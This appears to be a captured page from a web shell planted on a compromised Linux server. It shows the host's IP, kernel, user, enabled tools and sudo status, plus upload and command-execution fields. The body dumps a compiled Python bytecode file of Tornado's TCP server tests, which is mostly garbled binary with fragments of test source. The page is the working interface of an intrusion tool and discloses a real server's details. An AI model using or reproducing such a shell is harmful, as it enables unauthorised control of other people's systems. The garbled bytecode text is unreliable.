403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/tornado/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/tornado/test/__pycache__/tcpserver_test.cpython-311.pyc
�

��b(����ddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZmZmZmZddlmZGd	�d
e��ZeGd�dej����ZdS)
�N)�gen)�IOStream)�app_log)�	TCPServer)�
skipIfNonUnix)�
AsyncTestCase�	ExpectLog�bind_unused_port�gen_test)�Tuplec�V�eZdZed���Zed���Zd�Zed���ZdS)�
TCPServerTestc#�K�Gd�dt��}dx}}	t��\}}|��}|�|��tt	j����}ttd��5|�d|f��V�|�d��V�|�	��V�tjV�ddd��n#1swxYwY|�|���|�|�
��dSdS#|�|���|�|�
��wwxYw)Nc�.�eZdZejd���ZdS)�FTCPServerTest.test_handle_stream_coroutine_logging.<locals>.TestServerc3�K�|�td����V�|���ddzdS)N�hello�r)�
read_bytes�len�close��self�stream�addresss   �=/usr/lib/python3/dist-packages/tornado/test/tcpserver_test.py�
handle_streamzTTCPServerTest.test_handle_stream_coroutine_logging.<locals>.TestServer.handle_streams@�����'�'��H�
�
�6�6�6�6�6��������A�����N��__name__�
__module__�__qualname__r�	coroutiner�rr�
TestServerrs/������
�]�
�
��]�
�
�
rr%zException in callback�	localhostr)rr
�
add_socketr�socketr	r�connect�write�read_until_closer�moment�stopr)rr%�server�client�sock�ports      r�$test_handle_stream_coroutine_loggingz2TCPServerTest.test_handle_stream_coroutine_loggings�����	�	�	�	�	��	�	�	�����	�)�+�+�J�D�$��Z�\�\�F����d�#�#�#��f�m�o�o�.�.�F��7�$;�<�<�
!�
!��n�n�k�4�%8�9�9�9�9�9��l�l�8�,�,�,�,�,��-�-�/�/�/�/�/��j� � � �	
!�
!�
!�
!�
!�
!�
!�
!�
!�
!�
!����
!�
!�
!�
!��!����
�
�
��!���������"�!���!����
�
�
��!��������"���s1�A%D�AC!�D�!C%�%D�(C%�)D�/Ec#�K�Gd�dt��}t��\}}|��}|�|��tt	j����}|�d|f��V�|���V�}|�|d��|���|�	��dS)Nc��eZdZd�ZdS)�ETCPServerTest.test_handle_stream_native_coroutine.<locals>.TestServerc��\K�|�d��|���dS)N�data)r*rrs   rrzSTCPServerTest.test_handle_stream_native_coroutine.<locals>.TestServer.handle_stream3s)�������W�%�%�%��������rN)r r!r"rr$rrr%r52s#������
�
�
�
�
rr%r&r7)
rr
r'rr(r)r+�assertEqualr-r)rr%r0r1r.r/�results       r�#test_handle_stream_native_coroutinez1TCPServerTest.test_handle_stream_native_coroutine.s�����	�	�	�	�	��	�	�	�
&�'�'�
��d���������$�����&�-�/�/�*�*���n�n�k�4�0�1�1�1�1�1��.�.�0�0�0�0�������)�)�)����
�
�
��������rc��t��\}}t��}|�|��|���|���dS�N)r
rr'r-)rr0r1r.s    r�test_stop_twicezTCPServerTest.test_stop_twiceAsL��%�'�'�
��d��������$�������
�
�
����
�
�
�
�
rc#�6���	�
K�G�	fd�dt��}t��\}}|���	�	�|��d|f�
d}d�t|��D��}g�tj��
fd�����fd�|D��V�|�t���dd	��	t���|kr|�d
���D]}|�	���dS#�D]}|�	���wxYw)Nc�4��eZdZej�fd���ZdS)�7TCPServerTest.test_stop_in_callback.<locals>.TestServerc3�`�K�����|���V�dSr<)r-r+)rrrr.s   �rrzETCPServerTest.test_stop_in_callback.<locals>.TestServer.handle_streamOs2��������
�
�
��-�-�/�/�/�/�/�/�/rNr)r.s�rr%r@Ns:�������
�]�
0�
0�
0�
0��]�
0�
0�
0rr%r&�(c�N�g|]"}ttj������#Sr$)rr()�.0�is  r�
<listcomp>z7TCPServerTest.test_stop_in_callback.<locals>.<listcomp>Ys&��?�?�?��8�F�M�O�O�,�,�?�?�?rc3��K�	|����V���|��dS#t$rYdSwxYwr<)r)�append�EnvironmentError)�c�connected_clients�server_addrs ��rr)z4TCPServerTest.test_stop_in_callback.<locals>.connect\sd�����
,��i�i��,�,�,�,�,�"�(�(��+�+�+�+�+��$�
�
�
����
���s�3�
A�Ac�&��g|]
}�|����Sr$r$)rDrJr)s  �rrFz7TCPServerTest.test_stop_in_callback.<locals>.<listcomp>es!���+�+�+�a�w�w�q�z�z�+�+�+rrzall clients failed connectingzHat least one client should fail connecting for the test to be meaningful)
rr
r'�rangerr#�
assertGreaterr�skipTestr)rr%r0r1�N�clientsrJr)rKr.rLs       @@@@r�test_stop_in_callbackz#TCPServerTest.test_stop_in_callbackHs���������	0�	0�	0�	0�	0�	0�	0��	0�	0�	0�&�'�'�
��d���������$����"�D�)����?�?�e�A�h�h�?�?�?����	��	,�	,�	,�	,�	,�
��	,�,�+�+�+�7�+�+�+�+�+�+����3�0�1�1�1�6U�V�V�V�
	��$�%�%��*�*��
�
�4����
'�
�
�����	�	�	�	�
�
��&�
�
�����	�	�	�	�
���s�:(C=�=DN)r r!r"rr2r:r=rSr$rrrrsr������
����X��6����X��$����)�)��X�)�)�)rrc�F�eZdZdedeeeffd�Zd�Zd�Zd�Zd�Z	dS)	�TestMultiprocess�code�returnc	���	tjtjdgd|dd���}n?#tj$r-}td|j�d|j�d|j����|�d}~wwxYw|j|jfS)Nz-Werror::DeprecationWarningT�utf8)�capture_output�input�encoding�checkzProcess returned z stdout=z stderr=)	�
subprocess�run�sys�
executable�CalledProcessError�RuntimeError�
returncode�stdout�stderr)rrVr9�es    r�run_subproczTestMultiprocess.run_subproc~s���	��^���!>�?�#�������F�F���,�	�	�	��V�A�L�V�V�!�(�V�V�A�H�V�V����
�����	�����}�f�m�+�+s�%(�A$�(A�A$c��tjd��}|�|��\}}|�d�t|����d��|�|d��dS)Na
            import asyncio
            from tornado.tcpserver import TCPServer

            async def main():
                server = TCPServer()
                server.listen(0, address='127.0.0.1')

            asyncio.run(main())
            print('012', end='')
        ��012��textwrap�dedentrhr8�join�sorted�rrV�out�errs    r�test_listen_singlez#TestMultiprocess.test_listen_single�sw����

�
�
���#�#�D�)�)���S�����������-�-�u�5�5�5�����b�!�!�!�!�!rc��tjd��}|�|��\}}|�d�t|����d��|�|d��dS)Na�
            import warnings

            from tornado.ioloop import IOLoop
            from tornado.process import task_id
            from tornado.tcpserver import TCPServer

            warnings.simplefilter("ignore", DeprecationWarning)

            server = TCPServer()
            server.bind(0, address='127.0.0.1')
            server.start(3)
            IOLoop.current().run_sync(lambda: None)
            print(task_id(), end='')
        rjrkrlrqs    r�test_bind_startz TestMultiprocess.test_bind_start��u����
�
�
��"�#�#�D�)�)���S�����������-�-�u�5�5�5�����b�!�!�!�!�!rc��tjd��}|�|��\}}|�d�t|����d��|�|d��dS)Na
            import asyncio
            from tornado.netutil import bind_sockets
            from tornado.process import fork_processes, task_id
            from tornado.ioloop import IOLoop
            from tornado.tcpserver import TCPServer

            sockets = bind_sockets(0, address='127.0.0.1')
            fork_processes(3)
            async def post_fork_main():
                server = TCPServer()
                server.add_sockets(sockets)
            asyncio.run(post_fork_main())
            print(task_id(), end='')
        rjrkrlrqs    r�test_add_socketsz!TestMultiprocess.test_add_sockets�rwrc��tjd��}|�|��\}}|�d�t|����d��|�|d��dS)Na�
            import asyncio
            import socket
            from tornado.netutil import bind_sockets
            from tornado.process import task_id, fork_processes
            from tornado.tcpserver import TCPServer

            # Pick an unused port which we will be able to bind to multiple times.
            (sock,) = bind_sockets(0, address='127.0.0.1',
                family=socket.AF_INET, reuse_port=True)
            port = sock.getsockname()[1]

            fork_processes(3)

            async def main():
                server = TCPServer()
                server.listen(port, address='127.0.0.1', reuse_port=True)
            asyncio.run(main())
            print(task_id(), end='')
            rjrkrlrqs    r�test_listen_multi_reuse_portz-TestMultiprocess.test_listen_multi_reuse_port�su����
�
�
��,�#�#�D�)�)���S�����������-�-�u�5�5�5�����b�!�!�!�!�!rN)
r r!r"�strrrhrtrvryr{r$rrrUrUwsz������
,��
,��c�3�h��
,�
,�
,�
,�"�"�"�("�"�"�,"�"�"�,"�"�"�"�"rrU)r(r^r`rm�unittest�tornador�tornado.iostreamr�tornado.logr�tornado.tcpserverr�tornado.test.utilr�tornado.testingrr	r
r�typingrr�TestCaserUr$rr�<module>r�sE��
�
�
�
�����
�
�
�
���������������%�%�%�%�%�%�������'�'�'�'�'�'�+�+�+�+�+�+�P�P�P�P�P�P�P�P�P�P�P�P�������a�a�a�a�a�M�a�a�a�L�n"�n"�n"�n"�n"�x�(�n"�n"���n"�n"�n"r

Youez - 2016 - github.com/yon3zu
LinuXploit